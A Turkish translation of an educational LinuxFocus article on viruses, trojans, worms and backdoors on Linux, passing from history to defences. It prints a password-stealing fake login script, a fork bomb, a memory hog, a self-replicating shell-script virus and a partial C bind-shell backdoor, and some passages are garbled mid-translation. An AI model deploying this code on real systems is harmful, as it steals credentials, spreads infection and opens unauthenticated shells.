Virüsler: herkesi endişelendiren konu

ArticleCategory:

System Administration

AuthorImage:

Christophe Blaess

TranslationInfo:[Author and translation history]

original in fr Christophe Blaess

 

fr to en Georges Tarbouriech  

en to tr Hüseyin Kaya 

en to tr Gülşen Taşkın 

en to tr Sevda Üsküplü 

en to tr D. Melih Narin 

AboutTheAuthor:

Christophe Blaeses bağımsız bir havacılık mühendisidir. Bir Linux meraklısıdır ve bir çok işini bu işletim sistemini kullanarak yapmaktadır. Linux yardım sayfalarının çevirisini içeren ve Linux Dokümantasyon Projesi adıyla yayınlanan çevirilere eşgüdüm sağlar.

Abstract:

Bu makale ilk önce güvenlik üzerine yazıların yer aldığı bir linux dergisinin Fransa özel sayısında yayınlandı. Editör, yazarlar ve çevirmenler dostça LİnuxFocus dergisine bu özel sayıda yeralan bütün makaleleri yayınlama hakkı verdiler. Dolayısıyla, LinuxFocus dergisi bu makaleleri Türkçe'ye çevirir çevirmez sizlere sunacak. Bu çalışma içersinde yeralan herkese teşekkürler. Bu özet aynı kökene sahip tüm makaleler için yeniden oluşturulacak.

ArticleIllustration:

virus

ArticleBody:[The article body]

Önsöz

Bu makale Linux sisteminde saldırgan yazılımlardan kaynaklanabilecek iç güvenlik problemlerini yeniden gözden geçirir. Bu çeşit yazılımlar (virüsler, solucanlar ve Truva atları gibi) insan müdahalesi olmaksızın zarara neden olabilirler. Bİz bu konuda, çeşitli zayıflıklardan bahsederek ve bu bedelsiz yazılımların olumlu ve olumsuz yanları üzerinde durarak konuyu derinlemesine inceleyeceğiz.

Giriş

Kullanıcı için genellikle kafa karıştırıcı olan, özellikle sık sık karşılaşılan çeşitli mekanizmalara dayanan dört tip belirli tehdit söz konusudur. Bunlar:

Bu saldırgan yazılımları sınıflandırmak her zaman bu kadar kolay olmayabilir. Örneğin, bazı gözlemciler tarafından virüs oldukları düşünülen fakat bazı gözlemciler tarafından da solucan oldukları düşünülen ve ne oldukları konusundaki son kararı karmaşık hale getiren programlar vardır. Hangi tehlikelerin Linux sistemine bir tehdit oluşturduğunu açıklamayı bu makalenin kapsamı olarak düşünmek temel değildir.

Bu dört sorun zaten Linux sisteminin altında bulunmaktadır genel inanışa karşı olarak, elbette, virüsler Linux işletim sisteminde DOS işletim sistemine göre çok daha az yayılma alanı bulabilmektedirler fakat mevcut tehlike ihmal edilmemelidir. Risklerin neler olduğuna bir göz atalım.

Potansiyel Tehditler

Virüsler

Virüs, konuk programın özüne yüklenmiş, yeni bir çalıştırılabilir dosyaya nüfuz ederek kendi kendini çoğaltma yeteneğine sahip bir kod parçasıdır. Virüsler yetmişli yıllarda, o dönemin programcıları "core war" adı verilen oyunu oynarken ortaya çıkmıştır. Bu oyun, Bell AT&T laboratuvarlarından gelmektedir [MARSDEN 00]. Oyunun amacı, sınırlı bir bellek alanı içersinde küçük programların paralel bir şekilde koşturularak birbirlerini ortadan kaldırmalarını sağlamaktı. İşletim sistemi, yarışmacıları öldürme amacıyla karşılıklı saldırılara izin vererek programların bellek alanları arasında koruma sağlamadı. BÖylece, yarışmacıların bazıları olası en geniş bellek alanını '0' ile bombalayarak, bazıları da sürekli bir şekilde adres boşluklarına hareket ederek rakibin kodunu yeniden yazmayı ümit ediyorlardı ve bazen birkaçı işbirliği ile güçlü olan düşmanı elemeye çalışıyorlardı.

Oyun için uygulanan algoritmalar, özellikle varolan makinaların birçoğunda varolan emülatör boyunca çalıştırılan, "red code" (kırmızı kod) konusu ile ilgili yaratılan algoritmalar, makina diline çevrildi. Oyuna olan ilgi Life of Conway oyununa, fraktallara genetik algoritmalara duyulan coşku gibi daha fazla bilimsel bir meraktı.

Ancak, core war ile ilgili sonraki makaleler Scientific American [DEWDNEY 84] dergisinde yayınlandı, kaçınılmaz olan olmalıydı ve bazı insanlar ilk önce Apple bilgisayarlar ve daha sonra da MacIntosh ve PC'lerde özellikle disket boot kesimine ya da çalıştırılabilir dosyalara adanmış kod parçaları yazmaya başladılar.

MS DOS işletim sistemi biçimleri (formatları) iyi bilinen statik çalıştırılabilir dosyalar, bellek koruma eksikliği, dosya ulaşım izinlerinde güvenlik yokluğu, yığılmış yerleşik TSR programlarının kullanımı ile virüslerin çoğalması için bir tercih ortamıydı. Buna kullanıcıların aklının sınırını, disketler üzerindeki çalıştırılabilir programların dosyaların kökenine dikkat edilmeksizin alabildiğine değiştirilmesini de eklemeliyiz.

En basit haliyle, virüs bir uygulamayı başlatırken fazla olarak çalıştırılacak kod parçasıdır. Bu zaman içinde virüs henüz içine girilmemiş diğer çalıştırılabilir dosyaları arayacak, kendini bu dosyaların içine gömecek (büyük olasılıkla esas programı önlem olarak değiştirmeyecek) ve programdan çıkacaktır. Yeniden çalıştırılabilir dosyalar uygulamaya konulduğunda bu işlem süreci yeniden başlayacaktır.

Virüsler kendilerini otomatik olarak yinelemekte "weapon"'ların geniş gruplarından yarar sağlayabilirler. [LUDWIG 91] ve [LUDWIG 93]'in içinde DOS işletim sistemi için virüslerin tanımı, geçerli anti-virüs yazılımlarının ötesinde kalarak saklanmanın kodda oluşacak sürekli değişiklikler, sçkisiz şifreleme gibi üst düzey anlamlarını kullanarak detaylı bir şekilde vermektedir. Hatta genetik algoritma yöntemlerini kullanarak virüslerle karşılaşmak, onların yaşamlarını sürdürmelerini eniyilemek ve yeteneklerini yeniden oluşturmak olasıdır. Benzer bilgiler çok ünlü bir makale olan [SPAFFORD 94] makalesinden bulunabilir.

Fakat şunu aklımızda bulundurmalıyız ki; suni hayat deneyimlerinin ötesinde, virüsler yaygın bir zarara neden olabilirler. Küçük bir kodun çoklu yinelenmesinin prensibi sadece disk ve bellekteki boşluğun ziyanıdır. Virüsler, daha fazla zararlı olan mantıksal bombalar (truva atları konusunda incelenecek) gibi diğer varlıklar için bir destek -taşıma aracı- olarak kullanılırlar.

Truva atları ve mantıksal bombalar

Timeo Danaos et dona ferentes - Yunanlılar'danhediye almaktan bile korkarım. (Virgile, the Aeneid, II, 49).

Kuşatılmış Truva için dini bir teklif olarak sunulmuş ve Yunan askerleriyle dolu kocaman bir tahtadan atı şehrin içine almak kötü bir fikirdi. Truva atı içine gizlice girmiş askerler gece olduğunda şehre içerden saldırmışlar ve böylece Yunanistan Truva Savaşını kazanmışlardır.

Ünlü "Truva atı" terimi bilgisayar güvenlik alanında öncelikli zararsız uygulamaları belirtmek için kullanılır. Virüslerde sözü edildiği gibi yıkıcı kodlar mantıksal bombalar içerenlerdir.

Mantıksal bomba çeşitli etkilere sahip, kasıtlı olarak zarar veren program parçalarıdır.

Bazı durumlarda mantıksal bomba gizli bilgilerinin çalınması için hedef gösterilmiş özel bir sistemin özel dosyalarını yıkmak ya da bir kullanıcının kimliğini ele geçirerek güvenini sarsmak amacıyla yazılabilir. Aynı bombayı başka bir sistem üzerinde çalıştırmak zararsız olabilir.

Mantıksal bomba içinde bulunduğu sistemi fiziksel olarak da yıkmaya çalışabilir. Bunun olasılığı oldukça azdır fakat bu türleri de bulunmaktadır. (CMOS bellek silinmesi, modemde anlık belleğin değiştirilmesi, yazıcıların, tarayıcıların ve hard diskin okuyucu kafalarındaki ayarlarına yapılan yıkıcı hareketler...)

Patlayıcılık özelliği ile devam edelim, sözgelimi bir mantıksal bomba harekete geçmek için tetiklenmeye ihtiyaç duysun. Aslına bakılacak olursa, Truva atlarını veya virüsleri kullanarak hemen yıkıcı birtakım işlere girişmek verimli değildir. Mantıksal bombayı yerleştirdikten sonra bir süe beklemek daha akılcı bir yaklaşımdır. Böyle yapmakla, eğer bir virus sözkonusu ise, başka sistemlere yayılma ihtimalini artırır; eger sözkonusu bir truva atı ise, kullanıcıların makinasında oluşan gariplikler için hemen yeni programdan süphe duymasını engellersiniz.

Diğer zarar verici hareketler gibi, başlama mekanizmasıda bir çok farklılıklar gösterebilir: yüklemeden sonra on gün bekleme, bir kullanıcı heabının silinmesi, klavya ve farenin 30 dakika için etkisizleştirilmesi, yazıcı kuyruklarının aşırı dolması gibi. Ve daha bir çok ihtimal. En yaygın Truva atları bugünlerde cok basmakalıp olarak görünse de ekran koruyucalardır. Bu programlar çok çekici bir gürüntünün arkasında farkedilmeden bir çok zararlar verebilirler, özellikle mantıksal bomba yüklemeden yanlızca bir saat sonra harekete geçecekse. Bu süre içinde kullanıcı çok büyük olasılıkla bilgisayarının başında olmayacaktır.

Meşhur bir diğer truva atı ise aşağıda görülen ve bir kullanıcı giriş ortamı hazırlayan ve kullanıcı adı ve şifrelerini programı çalıştıran kişinin e-ileti adresine gönderen küçük bir kabuk programıdır. Bu kabuk kullanılmayan bir konsolda çalışırsa o konsoldan giriş yapmaya çalışan kullanıcının şifresini öğrenir.

#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout

Programın çalıştıktan sonra kapanması için exec komutu ile başlatılması gerekiyor. Kurban "Login incorrect" yazısını görünce şifresini yanlış girdiğini düşünecek ve normal yollarla bir daha sisteme girmeyi deneyecektir. Bu kabuğun daha gelişmiş sürümleri X11 tipi bağlantıları simule edebiliyor. Böyle tuzaklara düşmemek için, bir konsoldan giriş yapmadan önce yalancı bir kullanıcı adı ve şifre ile bir deneme yapmak akılcı bir yaklaşım olacaktır (bu belli bir noktadan sonra refleks haline gelecektir).

Solucanlar

And Paul found himself on the Worm, exulting, like an Emperor dominating the universe. (F. Herbert "Dune")

"Solucanlar" virüsler ile aynı prensipten gelir. Kendilerini kopyalama yöntemi ile çoğalmayı hedeflerler. Kendi özellikler olmamamsına karşın, bunlar mantıksal bombalar taşıyabilirler. Virüsler ile Solucanlar arasındaki en önemli fark, Solucanların virüsler gibi bir yayılma aracı olarak programları kullanmaması, bunun yerine ağ içinde kullanılan elektronik ileti gibi servisleri yayılma aracı olarak kullanmalarıdır.

Solucanların teknik seviyeleri biraz daha yüksektir; ağ servislerini sağlayan yazılımların açıklarını bularak kendilerini uzak makinaya kopyalarlar. En güzel örneği 1998 yılındaki "Internet Worm" adı verilen solucandır.

Internet Worm mantıksal bomba içermeyen gerçek bir solucan olmakla birlikte, etkileri beklenmedik şekilde çok yıkıcı olmuştu. Bu konu hakkında açıklayıcı bilgiyi [KEHOE 92] kaynağında, ayrıntıları [SPAFFORD 88] veya [EICHIN 89] kaynaklarında bulabilirsiniz. Teknik olmayan fakat oldukça çarpıcı bilgiler içeren ise [STOLL 89] adlı kaynakta bulabilirsiniz.

Kısaca anlatmak gerekirse bu program Cornell Üniversitesinde öğrenci olan Robert Morris Jr tarafından yazılmıştı. Bu kişi ağ protokollerinin güvenlik sorunlarıyle ilgili yazdığı bir makale ile zaten tanınıyordu [MORRIS 85]. NSA'nın bir kolu olan NCSC kurumunda bilgisayar güveliği ile sorumlu kişinin oğluydu. Program 1998 yılının Kasım ayının ikinci günü öğleden sonra hayat geçmişti ve Internet'e bağlı birçok sistemin durmasına yol açmıştı. Program birkaç aşamada çalışmıştı:

  1. Solucan bir bilgisayarı ele geçirildikten sonra, ağ içerisine sızmaya çalışıyordu. Adres bilgilerini almak için solucan sistem dosyalarını okuyor ve ağ bilgilerini öğrenmek için netstat benzeri programları kullanıyordu.
  2. Daha sonra, kullanıcı hesaplarını ele geçirmeye çalışıyordu. Bunu yapmak için ise bir sözlük içindeki kelimeler ile şifre dosyasını karşılaştırıyordu. Ayrıca şifreleri bulmak için, kullanıcı adının değişik varyasyonlarını deniyordu (tersi, tekrarı gib). Bu aşama bir açık üstüne kuruluydu: şifreler kodlanmış bir şekilde herkesin okumasına açık bir dosyada duruyordu (/etc/passwd), böylece çok basit seçilmiş şifreleri tahmin ediyordu. Bu ilk açık şifrelerin shadow adlı ayrı bir dosyada tutulmasıyla daha sonra kapatıldı.
  3. Eğer program kullanıcı hesaplarına girmişse, doğrudan erişimi olan komşu bilgisayarlara ~/.rhost ve /etc/hosts.equiv dosyalarını kullanarak ulaşmaya çalışıyordu. Eger ulaşırsa rsh komutunu kullanarak komşu bilgisayarda komutlar işletiyordu. Böylelikle kendisini başka bir makinaya kopyalıyor ve döngü böyle sürüpü gidiyordu.
  4. Yukarıdaki gibi açıklar bulamazsa, ikinci bir açık kullanılıyordu:fingerd 'buffer overflow' açığı. (Güvenlik ile ilgili seri makalelere ir göz atın: Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows.)
    Bu açık uzak makinada program çalıştırma imkanı veriyordu. Böylece solucan kendisini yine başka bir makinaya kopyalıyordu. Aslında bu yöntem bazı işlemciler için geçerliydi.
  5. Sonuncu olarak, üçüncü bir açık kullanılmıştı: sendmail adlı yazılımın bir özelliği kullanılıyordu. Bu özelliğin normalde kullanılmaması gerektiği halde sistem yöneticileri genellikle bunu ihmal ediyordu.

Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar gönderme imkanı bulduktan sonra kendisini o makinaya kopyalama işlemi oldukça karmaşıktı. Küçük bir C programının ilk önce taşınması, orada derlenmesi ve çalıştırılması gerekiyordu. Daha sonra bu program iki bilgisayar arasında bağlantı kuruyor ve solucanın taşınmasını sağlıyordu. Solucanın önceden derlenmiş çalıştırılabilir dosyaları bir çok platfrom için vardı (Vax ve Sun) ve test edilmişti. Ayrıca, solucan iz bırakmadan kendisini çok zekice saklıyordu.

Ne yazık ki, bilgisayarların tekrar ve tekrar ele geçirilmesini engelleyem mekanizma beklendiği gibi iyi işlemedi ve mantıksal bomba taşımayan Internet 88 solucanı yıkıcı etkisi gösterdi. Bunda iş yükü ağır bilgisayarların da bu solucandan etkilenmesinin büyük payı oldu (özellikle elektronik ileti taşınmasını sağlayan ve haberleşmeyi sağlayan bilgisayarlar gibi).

Bu solucanın yazarı bir süre için hapishaneye girdi.

Solucanlara, çok karmaşık oldukları için, genellikle sıkça rast gelinmez. Solucanlar ünlü "ILoveYou" benzeri elektronik iletiler ile gönderilen virüsler ile kariştırılmamalıdır. Bu virüsler genellikle Basic ile yazılmış ileti açılınca çalışan basit makrolardır. Bunlar sadece bazı işletim sistemlerinde ve ileti okuyucu programların çok basit bit şekilde ayarlandığı sistemlerde çalışırlar. Bu programlar Truva atlarına daha çok benzerler çünkü kullanıcın bunların başlayabilmesi için bir iş yapması gerekir.

Arkakapılar

Arkakapılar Truva atları ile karşılaştırılabilir ama aynı değillerdir. Bir arkakapı üstün bir kullanıcıya bir yazılımı değiştirme imkanı verir. Oyunlarda sıkça kullanılan daha çok kaynak ve üst seviyelere geçmeye yarayan ve cheat codes denilen hilelere benzerler. Fakat bu bağlantı onayı (connection authentication) veya elektronik ileti benzeri uygulamalar için de geçerlidir, çünkü bu uygulamalar da üreticisinin belirlediği gizli bir geçişe olanak verebilir.

Bazı kolaylıklar sağlaması açısından, yazılımcılar ürettikleri yazılımlar için küçük kapılar bırakabilirler. Bazen bu birtakım kullanıcılar için öntanımlı şifreler olabilir (system, admin, superuser, gibi). Bunlar genellikle belgeler içinde yer almadıkları için yazılımcılar tarafından oldukları gibi bırakılır.

"Wargame" adlı film içinde geçen ve sisteme giriş sağlayan değişik giriş kodlarını hatırlayın. Daha yakın geçmişten örnekler vermekte mümkün [THOMPSON 84]. Unix'in babalarından Ken Thompson'ın yıllar önce geliştirdiği gizli giriş sistemini açıklıyor:

Buna karşı ne yapılabilir? Aslında hiçbir şey! Yapılacak tek şey sistemi yeni baştan kurmak. Sistemi yeniden kurmadıktan sonra, işletim sistemine, derleyeciye kısacası hiçbirşeye güvenemezsiniz. Kaynak kodları tamamen elinizde olsa bile uygulamaların temiz olduğuna kesin emin olamazsınız.

Ve, Linux Üzerinde ?

Herhangi bir sistemin bazı ana risklerinden sözettik. Şimdi de serbest yazılım ve Linux üzerinde ki olası tehditlere bir göz atalım.

Mantıksal Bombalar

İlk önce, mantıksal bir tuzağın Linux makinası üzerinde çalıştırıldığında, sistem üzerinde ki etkilerini inceleyelim. Besbelli, bu durum kullanıcı haklarına ve istenilen etkiye bağlıdır.

Gizli bir dosyanın okunması yada sistem dosyasının herhangi bir tahribata uğraması durumunda, iki türlü durum söz konusudur. Eğer bomba, root birimi altında kendi kendine çalışırsa makina üzerinde ki bütün gücü ele geçirir. Buna her partisyonun silinmesi ve yukarıda sözü edilen hardisk üzerindeki olası tehlikeleri de ekleyebiliriz. Eğer bomba herhangi bir birim üzerinde uygulaniyorsa, hakkı olmayan bir kullanıcıdan daha az yikici olur. Sadece bu kullanıcıya ait verileri yok edecektir. Bu durumda, herkes kendine ait olan dosyalarını korumalıdır. Dikkatli bir sistem yöneticisi root olarak girdiğinde, bu hesap altında ki mantiksal tuzakların sisteme girme olasılığını azaltmak için birçok sorumluluğu vardır.

Linux sistemi özel veriye erişim ve hardisk erişiminde oldukça iyi bir korumaya sahiptir. Ancak saldıları birçok kaynak kullanarak yapılan saldırıları önleme konusunda oldukça hassastır. Örneğin, aşağıdaki C programını, normal bir kullanıcı olarak bile sisteme girdiğinizde durdurmak zordur. Eğer kullanıcı tarafından kullanılan işlemci sayısı sınırlanmadıysa, işlemci tablosundan herturlu giriş yokedilecek ve programı oldurmeyi deneyen herhangi bir bağlantı önlenecektir.

  #include <signal.h>
  #include <unistd.h>
 
  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
} 

Kullanıcıların işlemci kullanma sayısı üzerinde bir kısıt ( setrlimit() ile sistem çağırma ve ulimit kabuk fonksiyonu) uygularsaniz, bu tür programların ömrü daha kısa olacaktır. Fakat, bunlar sadece sistemin ulaşılmaz olduğu sürenin bazı aralıklarından sonra etkili olur.

Aynı bağlantıda, aşağıdaki program ulaşabildiği bütün belleği kullanılır ve döngüler, merkezi işlem birimleri çevrimlerini harcar. Böylece diğer işlemciler de tamamen harcanir.

  #include <stdlib.h>
 
  #define LG      1024
 
  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}

Genellikle, bu program en küçük çekirdekdeki sanal bellek yönetim mekanizması tarafından otomatik olarak yok edilir. Fakat bundan önce, daha fazla belleğe ihtiyaç duyan diğer işlemler hemen ardından çekirdek tarafından yok edilir (Örneğin, X11 uygulamaları ). Ayrıca, belleğe ihtiyaç duyan diğer bütün işlemciler de aynı şekilde olacaktır.

Ağ özelliklerini sıralamanın dışında tutmak oldukça basittir, overloading the corresponding port with continued connection requests. Çözüm oluşumdan kaçmaktır. Fakat bu oluşumlar genellikle sistem yöneticileri tarafından uygulanmaz. Linux altında çok dikkatli olmak gerekir. Hatta mantıksal bobma normal bir kullanıcı tarafından gönderileliyorsa kendine ait olmayan dosyalara zarar vermemese bile bu durum son derece rahatsızlık verici bır durumdur. Aş servisinde ve sisteme kötü bir gerilim yüklemek için birkaç fork(), malloc() and connect() komutlarını birleştirerek bir program oluşturmak yeterli olacaktır.

Virüsler

Konu: Unix Virüsleri

BiR UNIX ViRÜSÜ ALDINIZ

Bu virüs birtakım kurallara göre işler.

Eğer Lunix yada Unix kullanıyorsanız,lütfen bu iletiyi arkadaşınıza gönderiniz 
ve seçkisiz olarak bir kaç sistem dosyasına zarar veriniz. 

Yaygın bir fikire rağmen, virüsler Linux altında bir tehdit unsuru olabilirler. Linux altındaki bir virusun yayılmak için yararlı bir yer bulamayacağı da ayrı bir gerçektir. ilk olarak, bir makinanın phase of infesting ne bir göz atalım. Virüs kodu burada çalışmak zorundadır. Bunun anlamı başka bir sistemden bozulmuş dosyaların kopyalanmış olduğudur. Linux dünyasında yaygın uygulama, kullanıcıya bir uygulama sağlamak ve ona çalıştırılabilir dosyayı göndermek yerine URL adresinin nerede olduğunu göstermektir. Bu çabuk bir şekilde denetlenecek olan bir resmi bir yöreden gelen bir virus anlamına gelir. Bir kere bir makinaya virüs bulaştıysa, virüsün yayılabirliğini denetlemek için önceden derlebilen uygulamalar için dağıtık bir düzenek kullanılmalıdır. Gerçek şu ki, serbest yazılım dünyasında mantıksal bir bomba için, çalıştırılabilir dosyalar iyi bir iletişim aracı değildir.

Besbelli, yazma haklarına sahip olan kullanıcının dosyayı nerede çalıştırdığına bağlı olarak sadece bozuk bir uygulama dosyalara yayılabilir. Deneyimli bir sistem yöneticisi herhangi bir işlem için sadece root olarak Concerning the spreading within a machine, obviously a corrupt application only can spread to files for which the user running it, has writing rights. The wise administrator only working as root for operations really requiring privileges, is unlikely running a new software when connected under this identity. Apart from installing a Set-UID root application infected with a virus, the risk is then quite reduced. Normal bir kullanıcı bozulmuş bir dosyayı çalıştırdığında, virüs sadece bu kullanıya ait olan dosyalar üzerinde etkin olabilir.

Virüsler Unix bir sistem için çok uzun zamandir bir ütroyaydi. Bunun nedeni işlemcilerin farklılığı (esembler dilleri) ve önceden derlenebilen kodları sınırlayan kütüphanelerdir. Bugün, bu gerçek değildir ve GlibC 2.1 i386 bir işlemci için Linux da derlenebilen ELF dosyalarına etki eden bir virüs bir çok hedef bulabilir. Ayrıca, virüsler, onu çaliştıran bir anaç' a (host) bağlı bir dilde yazılabilirler. Örneğin, burada kabuk betiği için bir virüs olsun. Virüs, çalıştığı dizin altında bulunan bütün kabuk betiklerinin içine girmeyi denemektedir. Aynı betiğin bir kereden fazla bir zarara uğramasından kaçınmak için, virüs ikinci seferde bozulmuş yada aşılanmış yorumunun bulunduğu sırayı ihmal eder.

#! /bin/sh
# infected
 
( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
        exec < $fic
        # Let's try to read a first line,
        if  ! read line ; then
                continue
        fi
        # and let's check it is a shell script.
        if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then
                continue
        fi
        # Let's read a second line.
        if ! read line ; then
                continue
        fi
        # Is the file already infected or vaccinated ?
        if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then
                continue
        fi
        # Otherwise we infect it: copy the virus body,
        head -33 $0 > $tmp_fic
        # and the original file.
        cat $fic >> $tmp_fic
        # Overwrite the original file.
        cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &

Virüs kendini yada eylemşnş saklama durumunda değildir. Beklenen şu ki, orjinal betik kendi işini yaparken virüs arkaplanda işlemlerini yapar. Özellikle, find. ile find / değiştirme durumunda. Bu programın basitliğine rağmen, onu kontrolünü elden kaybetmek son derece kolaydır. Özellikle de sistem eğer isteğe göre birçok kabuk betikleri içeriyorsa.

Tablo 1, Linux altında en iyi bilinen, virüsleri içermektedir. Bunların hepsi, dosya başlıkları ve kalan orjinal kodtan geriye doğru hareket etmesinden sonra, çalıştırılabilir ELF dosyalarını bozar. Aksinden söz edilmediği sürece, virüsler sistem dizinlerindeki potansiyel hedefleri tararlar. Bu tablodan, Lunix altındaki virüslerin , çok alarm vermemelerine rağmen,(zarar verici virüsler olana kadar) kayda değer olmayan virüsler olduğunu düşünebilirsiniz..

Tablo 1 - Linux Altında ki Virüsler
isim Mantıksal Bomba Notlar
Bliss Görünürde aktif değil Dosyanın otomatik arıtılamsı --bliss-disinfect-files-please ile sağlanabilir.
Diesel Etkisiz  
Kagob Etkisiz Zarar verici programı çalıştırmak için geçici bir dosya kullanır.
Satyr Etkisiz  
Vit4096 Etkisiz Sadece geçerli dizinde ki dosyaları bozar.
Winter Etkisiz 341 bitlik bir virus kodudur. Sadece geçerli olan dizinde ki dosyaları bozar.
Winux Etkisiz Bu virüs iki farklı kod taşır ve ELF Linux dosyaları kadar ve Windows dosyalarına da zarar verir. Ancak, onun yayılmasını azaltan ve saklandığı yerden diğer partisyonlara ulaşmak olası değildir.
ZipWorm Windows ve Linux üzerinde bulduğu sıkıştırılmış dosyaların içine "troll" dokumanı yerleştirir."troll"= isveç mitodolojisinde bir cin  

Zararsız bir virüs olan "Winux" , Windows yada Linux altında çalışmak için yayılabilir. Bu özelliği tehlikeli olmamasına rağmen yapabileceklerinin kanıtı olarak karşımıza çıkar . Bu tip yapılar bir bölümden (partition) başka bir bölüme sıçrayabilir , ayrışık bir ağı Samba ve benzeri sunucular kullanarak istila edebilir.

Eğer bölüme , virüs olan Windows sisteminden erişilirse, Linux koruma mekanizması etkisiz hale gelir . Aynı şekilde Linux altında alınan her önlem ; Windows bölümünden yapılan geri yüklemelerde (reboot) etkisiz kalır . Bu tip problemler iki işletim sistemi içeren her makinada görülür ve genel koruma düzeyi en güçsüz işletim sistemine göre kuruludur . Bu sorunun tek çözümü vardır , o da ; herhangi bir Windows uygulaması aracılığıyla Linux bölümüne erişmeyi engellemektir . Bu yaklaşım henüz fazla yaygınlaşmamıştır ve Linux makinalar için tehlike arz etmektedir .

Truva Atı (Trojan horses)

Truva atlarıda en az virüsler kadar tehlikelidir ve kullanıcılar için endişe vericidir . Virüs tarafından taşınan Logical Bomb un aksine Truva atındaki geliştiricisi tarafından yerleştirilmiştir . Ücretsiz yazılım dünyasında ; ürün yazarından son kullanıcıya geçerken bir yada iki aracıdan geçer. Eğer bir Truva atı farkedilirse suçluyu bulmak zor değildir.

Bir uygulamanın kaynak koduna sahip olmak ve derlemek güvenli olmasını garanti etmez. Örneğin ; zaralı bir logicalbomb bir yapı dosyasına (./configure, en az 2000 satır uzunluğunda) kendini saklayabilir ve en son yükleme aşamasında aktif hale gelir .

Windows altındaki virüs ve truva atının bir önemli zararıda yardım sayfalarındaki (readme dosyaları) makrolarla beraber ortaya çıkar . Şimdilik Linux kullanıcılarının bundan korkması yersizdir çünkü bu tip makrolar Linux altında yorumlanamazlar .

Truva atlarının bir özelliğide zararsız olmasına rağmen kullanıcıyı oldukça güç durumda bırakmasıdır. Örneğin Usenet de sıkıştırılmış dosyalar kendi kendine büyür ve diski doldurur , bazı postscript dosyaları yorumlayıcıyı (interpreter) kitler ve CPU zamanını boşa kullanır . Bu tip örnekler zararsızdır . Tek yaptıkları kullanıcıyı çileden çıkartmak ve zamanından çalmaktır.

Kurtçuk (Worms)

Kurtçuklar 1988 yılında Linux yokken ortaya çıkmıştır . O zamanlar ücretsiz yazılımların kaynak kodlarına erişerek zayof yönleri rahatça bulunabiliyordu. Kaliteli bir kurtçuk yazmak karmaşık olduğundan Linux altında etkili olanların sayısı azdır . Tablo 2 de yaygın olanlarından bazıları gösterilmiştir .

Kurtçuklar ağ sunucusunun zayıflıklarından istifade eder . Teorik olarak Internete bağlı workstation lardaki risk sunuc aracılığıyla sürekli bağlı olan sistemlere göre daha azdır. Bağlantı seçeneklerinin günden güne artması ( Kablo, DSL,T1,T3,...vs.) ve ağ servislerinin (HTTP,FTP,...vs.) kullanılması hızla herkes için tehlike oluşturmaktadır .

Table 2 - Linux Altındaki Kurtçuklar
İsim Zayıflıları Notlar
Lion (1i0n) bind Sistem bilgisini Çin deki bir elektronik posta adresine gönderir.
Ramen lpr, nfs, wu-ftpd index.html dosyasını değiştirir.
Adore (Red Worm) bind, lpr, rpc, wu-ftpd Sisteme arka kapı yükler ,elektronik postayla Çin ve Amerik ya bilgi gönderir. İşlemlerin saklamak için ps modifiyeli versiyonunu yükler.
Cheese Lion gibi Lion tarafından açılan arka kapıları bulur ve kaldırır.

Kurtların yayılma zamanı sınırlıdır . Varlıklarını devam ettirebilmek için kendilerini bir sistemden diğerine kopyalamaları gerekir . Hedef uygulamayı hızla güncellemek yayılmasını önler .

Arka kapı (Backdoors)

Arka kapı problemi önemlidir, ücretsiz yazılımlarda bile , tabiki herkes kaynak kodunu okuyarak teorik olarak programın ne yaptığını anlayabilir . Fakat çok az insan internetten arşiv bilgilerini indirir . Örneğin aşağıdaki küçük program bile büyük ve tam bir arka kapı sağlar . Küçük boyutuyla kendini büyük bir uygulamaya rahatça saklayabilir . Program kitabımdaki pseudo-terminal mekanizması örneğinden alınmıştır . ([BLAESS 00]). Açıklama ve hata kontrol satırları kısa olması bakımından kaldırılmıştır. Program çalıştırıdığı zaman belitilen portta (varsayılan 4767) bir TCP/IP sunucusu açar ve her bağlantı isteğinde herhangi bir kontrol olmaksızın kabuğa erişir!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
